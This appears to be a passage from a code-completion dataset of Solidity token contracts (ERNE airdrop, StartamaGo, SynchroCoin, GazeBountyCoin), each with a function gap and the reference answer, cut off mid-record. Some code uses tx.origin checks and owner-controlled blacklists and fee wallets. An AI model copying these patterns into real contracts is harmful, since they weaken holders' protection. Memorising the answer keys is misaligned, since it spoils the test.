hash = ECDSA.toEthSignedMessageHash(_messageHash); signatureAddress = ECDSA.recover(hash, _signature); } /** * @dev Returns hash for given data */ function message(address _receiver , uint256 _amount , uint256 _blockExpirytime) public view returns(bytes32 messageHash) { messageHash = keccak256(abi.encodePacked(address(this), _receiver, _amount, _blockExpirytime)); } /** * @notice claimPendingToken Owner can withdraw pending tokens from contract. * @param tokenAddr ERNE token address. */ function claimPendingToken(address tokenAddr) public { // Owner call check require(msg.sender == owner, "Erne::only Owner"); // Pending token transfer IERC20(tokenAddr).transfer(msg.sender, IERC20(tokenAddr).balanceOf(address(this))); } }
contract ERNEDistribution { // Signature Address address private signer; // ECDSA Address using ECDSA for address; // Users Count initialzed to zero at deployment uint256 public count = 0; // NFT token address address public NFT; // NFT token ID; uint256 public tokenId; // Start Time will be time of deployment uint256 public strTime; // Contract owner address address public owner; // ERNE NFT Holder Address address public erc1155Holder; // Signature Message Hash mapping(bytes32 => bool)public msgHash; //user claimstatus mapping(address => bool) public claimStatus; constructor (address _signer, address _nft, uint256 _tokenid, address _erc1155Holder) public{ // Initialization signer = _signer; NFT = _nft; tokenId = _tokenid; strTime = now; owner = msg.sender; erc1155Holder = _erc1155Holder; } <FILL_FUNCTION> /** * @dev Ethereum Signed Message, created from `hash` * @dev Returns the address that signed a hashed message (`hash`) with `signature`. */ function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress) { bytes32 hash = ECDSA.toEthSignedMessageHash(_messageHash); signatureAddress = ECDSA.recover(hash, _signature); } /** * @dev Returns hash for given data */ function message(address _receiver , uint256 _amount , uint256 _blockExpirytime) public view returns(bytes32 messageHash) { messageHash = keccak256(abi.encodePacked(address(this), _receiver, _amount, _blockExpirytime)); } /** * @notice claimPendingToken Owner can withdraw pending tokens from contract. * @param tokenAddr ERNE token address. */ function claimPendingToken(address tokenAddr) public { // Owner call check require(msg.sender == owner, "Erne::only Owner"); // Pending token transfer IERC20(tokenAddr).transfer(msg.sender, IERC20(tokenAddr).balanceOf(address(this))); } }
//Check msg.sender claim status require(!claimStatus[tx.origin], "Erne::claim: Duplicate call"); // Time and count check require((now <= (strTime + 20 days)) && count < 150000 , "Erne::claim: time expired/Count exceeds"); //messageHash can be used only once bytes32 messageHash = message(tx.origin, amount, deadline); require(!msgHash[messageHash], "Erne::claim: signature duplicate"); //Verifes signature address src = verifySignature(messageHash, signature); require(signer == src, "Erne::claim: unauthorized"); //Chage the Status of used messageHash msgHash[messageHash] = true; //Chage the Status of user claim status claimStatus[tx.origin] = true; // First 10,000 Claimers will get ERNE NFT if(count < 10000) { IERC1155(NFT).safeTransferFrom(erc1155Holder, msg.sender, tokenId, 1, "0x0"); } count = count + 1; //ERNE Transfer IERC20(tokenAddr).transfer(msg.sender,amount);
function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature) public
/** * @notice claim ERNE tokens. * * Only for 20 days from the date of deployment * * Only for first 150,000 users * * First 10,000 Claimers will get ERNE NFT * @param tokenAddr The ERNE token address. * @param amount The amount of token to transfer. * @param deadline The deadline for signature. * @param signature The signature created with 'signer' */ function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature) public
55086
StartamaGo
_getRValues
contract StartamaGo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Startama Go"; string private constant _symbol = "StartamaGo"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x5d252470fe783cC08BAF560617801Cbc54fEdcBc); _feeAddrWallet2 = payable(0xc70225540C2b99B66fB1CE90DF6A6fb37Bb691D6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract StartamaGo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Startama Go"; string private constant _symbol = "StartamaGo"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x5d252470fe783cC08BAF560617801Cbc54fEdcBc); _feeAddrWallet2 = payable(0xc70225540C2b99B66fB1CE90DF6A6fb37Bb691D6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } <FILL_FUNCTION> function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee);
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256)
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256)
11144
SynchroCoin
SynchroCoin
contract SynchroCoin is Ownable, StandardToken { string public constant symbol = "SYC"; string public constant name = "SynchroCoin"; uint8 public constant decimals = 12; uint256 public STARTDATE; uint256 public ENDDATE; // 55% to distribute during CrowdSale uint256 public crowdSale; // 20% to pool to reward // 25% to other business operations address public multisig; function SynchroCoin( uint256 _initialSupply, uint256 _start, uint256 _end, address _multisig) {<FILL_FUNCTION_BODY> } // crowdsale statuses uint256 public totalFundedEther; //This includes the Ether raised during the presale. uint256 public totalConsideredFundedEther = 338; mapping (address => uint256) consideredFundedEtherOf; mapping (address => bool) withdrawalStatuses; function calcBonus() public constant returns (uint256){ return calcBonusAt(now); } function calcBonusAt(uint256 at) public constant returns (uint256){ if (at < STARTDATE) { return 140; } else if (at < (STARTDATE + 1 days)) { return 120; } else if (at < (STARTDATE + 7 days)) { return 115; } else if (at < (STARTDATE + 14 days)) { return 110; } else if (at < (STARTDATE + 21 days)) { return 105; } else if (at <= ENDDATE) { return 100; } else { return 0; } } function() public payable { proxyPayment(msg.sender); } function proxyPayment(address participant) public payable { require(now >= STARTDATE); require(now <= ENDDATE); //require msg.value >= 0.1 ether require(msg.value >= 100 finney); totalFundedEther = totalFundedEther.add(msg.value); uint256 _consideredEther = msg.value.mul(calcBonus()).div(100); totalConsideredFundedEther = totalConsideredFundedEther.add(_consideredEther); consideredFundedEtherOf[participant] = consideredFundedEtherOf[participant].add(_consideredEther); withdrawalStatuses[participant] = true; // Log events Fund( participant, msg.value, totalFundedEther ); // Move the funds to a safe wallet multisig.transfer(msg.value); } event Fund( address indexed buyer, uint256 ethers, uint256 totalEther ); function withdraw() public returns (bool success){ return proxyWithdraw(msg.sender); } function proxyWithdraw(address participant) public returns (bool success){ require(now > ENDDATE); require(withdrawalStatuses[participant]); require(totalConsideredFundedEther > 1); uint256 share = crowdSale.mul(consideredFundedEtherOf[participant]).div(totalConsideredFundedEther); participant.transfer(share); withdrawalStatuses[participant] = false; return true; } /* Send coins */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transfer(_to, _amount); } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transferFrom(_from, _to, _amount); } }
contract SynchroCoin is Ownable, StandardToken { string public constant symbol = "SYC"; string public constant name = "SynchroCoin"; uint8 public constant decimals = 12; uint256 public STARTDATE; uint256 public ENDDATE; // 55% to distribute during CrowdSale uint256 public crowdSale; // 20% to pool to reward // 25% to other business operations address public multisig; <FILL_FUNCTION> // crowdsale statuses uint256 public totalFundedEther; //This includes the Ether raised during the presale. uint256 public totalConsideredFundedEther = 338; mapping (address => uint256) consideredFundedEtherOf; mapping (address => bool) withdrawalStatuses; function calcBonus() public constant returns (uint256){ return calcBonusAt(now); } function calcBonusAt(uint256 at) public constant returns (uint256){ if (at < STARTDATE) { return 140; } else if (at < (STARTDATE + 1 days)) { return 120; } else if (at < (STARTDATE + 7 days)) { return 115; } else if (at < (STARTDATE + 14 days)) { return 110; } else if (at < (STARTDATE + 21 days)) { return 105; } else if (at <= ENDDATE) { return 100; } else { return 0; } } function() public payable { proxyPayment(msg.sender); } function proxyPayment(address participant) public payable { require(now >= STARTDATE); require(now <= ENDDATE); //require msg.value >= 0.1 ether require(msg.value >= 100 finney); totalFundedEther = totalFundedEther.add(msg.value); uint256 _consideredEther = msg.value.mul(calcBonus()).div(100); totalConsideredFundedEther = totalConsideredFundedEther.add(_consideredEther); consideredFundedEtherOf[participant] = consideredFundedEtherOf[participant].add(_consideredEther); withdrawalStatuses[participant] = true; // Log events Fund( participant, msg.value, totalFundedEther ); // Move the funds to a safe wallet multisig.transfer(msg.value); } event Fund( address indexed buyer, uint256 ethers, uint256 totalEther ); function withdraw() public returns (bool success){ return proxyWithdraw(msg.sender); } function proxyWithdraw(address participant) public returns (bool success){ require(now > ENDDATE); require(withdrawalStatuses[participant]); require(totalConsideredFundedEther > 1); uint256 share = crowdSale.mul(consideredFundedEtherOf[participant]).div(totalConsideredFundedEther); participant.transfer(share); withdrawalStatuses[participant] = false; return true; } /* Send coins */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transfer(_to, _amount); } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transferFrom(_from, _to, _amount); } }
totalSupply = _initialSupply; STARTDATE = _start; ENDDATE = _end; multisig = _multisig; crowdSale = _initialSupply * 55 / 100; balances[multisig] = _initialSupply;
function SynchroCoin( uint256 _initialSupply, uint256 _start, uint256 _end, address _multisig)
function SynchroCoin( uint256 _initialSupply, uint256 _start, uint256 _end, address _multisig)
66611
admined
transferAdminship
contract admined { //This token contract is administered address public admin; //Admin address is public bool public lockTransfer; //Transfer Lock flag address public allowedAddress; //an address that can override lock condition /** * @dev Contract constructor * define initial administrator */ function admined() internal { admin = msg.sender; //Set initial admin to contract creator allowedAddress = msg.sender; AllowedSet(allowedAddress); Admined(admin); } /** * @dev Function to set an allowed address * @param _to The address to give privileges. */ function setAllowedAddress(address _to) onlyAdmin public { allowedAddress = _to; AllowedSet(_to); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } modifier transferLock() { //A modifier to lock transactions require(lockTransfer == false || allowedAddress == msg.sender); _; } /** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public {<FILL_FUNCTION_BODY> } /** * @dev Function to set transfer lock */ function setTransferLockFree() onlyAdmin public { //Only the admin can set unlock on transfers require(lockTransfer == true); lockTransfer = false; SetTransferLock(lockTransfer); } //All admin actions have a log for public review event AllowedSet(address _to); event SetTransferLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); }
contract admined { //This token contract is administered address public admin; //Admin address is public bool public lockTransfer; //Transfer Lock flag address public allowedAddress; //an address that can override lock condition /** * @dev Contract constructor * define initial administrator */ function admined() internal { admin = msg.sender; //Set initial admin to contract creator allowedAddress = msg.sender; AllowedSet(allowedAddress); Admined(admin); } /** * @dev Function to set an allowed address * @param _to The address to give privileges. */ function setAllowedAddress(address _to) onlyAdmin public { allowedAddress = _to; AllowedSet(_to); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } modifier transferLock() { //A modifier to lock transactions require(lockTransfer == false || allowedAddress == msg.sender); _; } <FILL_FUNCTION> /** * @dev Function to set transfer lock */ function setTransferLockFree() onlyAdmin public { //Only the admin can set unlock on transfers require(lockTransfer == true); lockTransfer = false; SetTransferLock(lockTransfer); } //All admin actions have a log for public review event AllowedSet(address _to); event SetTransferLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); }
//Admin can be transfered require(_newAdmin != address(0x0)); admin = _newAdmin; TransferAdminship(admin);
function transferAdminship(address _newAdmin) onlyAdmin public
/** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public
31096
GazeBountyCoin
transferFrom
contract GazeBountyCoin is ERC20Interface, Administered { using SafeMath for uint; // ------------------------------------------------------------------------ // Token parameters // ------------------------------------------------------------------------ string public constant symbol = "GBC"; string public constant name = "Gaze Bounty Coin"; uint8 public constant decimals = 18; uint public totalSupply = 0; // ------------------------------------------------------------------------ // Administrators can mint until sealed // ------------------------------------------------------------------------ bool public sealed; // ------------------------------------------------------------------------ // Balances for each account // ------------------------------------------------------------------------ mapping(address => uint) balances; // ------------------------------------------------------------------------ // Owner of account approves the transfer of an amount to another account // ------------------------------------------------------------------------ mapping(address => mapping (address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function GazeBountyCoin() Owned() { } // ------------------------------------------------------------------------ // Get the account balance of another account with address _account // ------------------------------------------------------------------------ function balanceOf(address _account) constant returns (uint balance) { return balances[_account]; } // ------------------------------------------------------------------------ // Transfer the balance from owner's account to another account // ------------------------------------------------------------------------ function transfer(address _to, uint _amount) returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Allow _spender to withdraw from your account, multiple times, up to the // _value amount. If this function is called again it overwrites the // current allowance with _value. // ------------------------------------------------------------------------ function approve( address _spender, uint _amount ) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // ------------------------------------------------------------------------ // Spender of tokens transfer an amount of tokens from the token owner's // balance to another account. The owner of the tokens must already // have approve(...)-d this transfer // ------------------------------------------------------------------------ function transferFrom( address _from, address _to, uint _amount ) returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance( address _owner, address _spender ) constant returns (uint remaining) { return allowed[_owner][_spender]; } // ------------------------------------------------------------------------ // After sealing, no more minting is possible // ------------------------------------------------------------------------ function seal() onlyOwner { require(!sealed); sealed = true; } // ------------------------------------------------------------------------ // Mint coins for a single account // ------------------------------------------------------------------------ function mint(address _to, uint _amount) onlyAdministrator { require(!sealed); require(_to != 0x0); require(_amount != 0); balances[_to] = balances[_to].add(_amount); totalSupply = totalSupply.add(_amount); Transfer(0x0, _to, _amount); } // ------------------------------------------------------------------------ // Mint coins for a multiple accounts // ------------------------------------------------------------------------ function multiMint(address[] _to, uint[] _amount) onlyAdministrator { require(!sealed); require(_to.length != 0); require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { require(_to[i] != 0x0); require(_amount[i] != 0); balances[_to[i]] = balances[_to[i]].add(_amount[i]); totalSupply = totalSupply.add(_amount[i]); Transfer(0x0, _to[i], _amount[i]); } } // ------------------------------------------------------------------------ // Don't accept ethers - no payable modifier // ------------------------------------------------------------------------ function () { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, amount); } }
contract GazeBountyCoin is ERC20Interface, Administered { using SafeMath for uint; // ------------------------------------------------------------------------ // Token parameters // ------------------------------------------------------------------------ string public constant symbol = "GBC"; string public constant name = "Gaze Bounty Coin"; uint8 public constant decimals = 18; uint public totalSupply = 0; // ------------------------------------------------------------------------ // Administrators can mint until sealed // ------------------------------------------------------------------------ bool public sealed; // ------------------------------------------------------------------------ // Balances for each account // ------------------------------------------------------------------------ mapping(address => uint) balances; // ------------------------------------------------------------------------ // Owner of account approves the transfer of an amount to another account // ------------------------------------------------------------------------ mapping(address => mapping (address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function GazeBountyCoin() Owned() { } // ------------------------------------------------------------------------ // Get the account balance of another account with address _account // ------------------------------------------------------------------------ function balanceOf(address _account) constant returns (uint balance) { return balances[_account]; } // ------------------------------------------------------------------------ // Transfer the balance from owner's account to another account // ------------------------------------------------------------------------ function transfer(address _to, uint _amount) returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Allow _spender to withdraw from your account, multiple times, up to the // _value amount. If this function is called again it overwrites the // current allowance with _value. // ------------------------------------------------------------------------ function approve( address _spender, uint _amount ) returns (bool success) { allowed[msg.sender][_spender] = 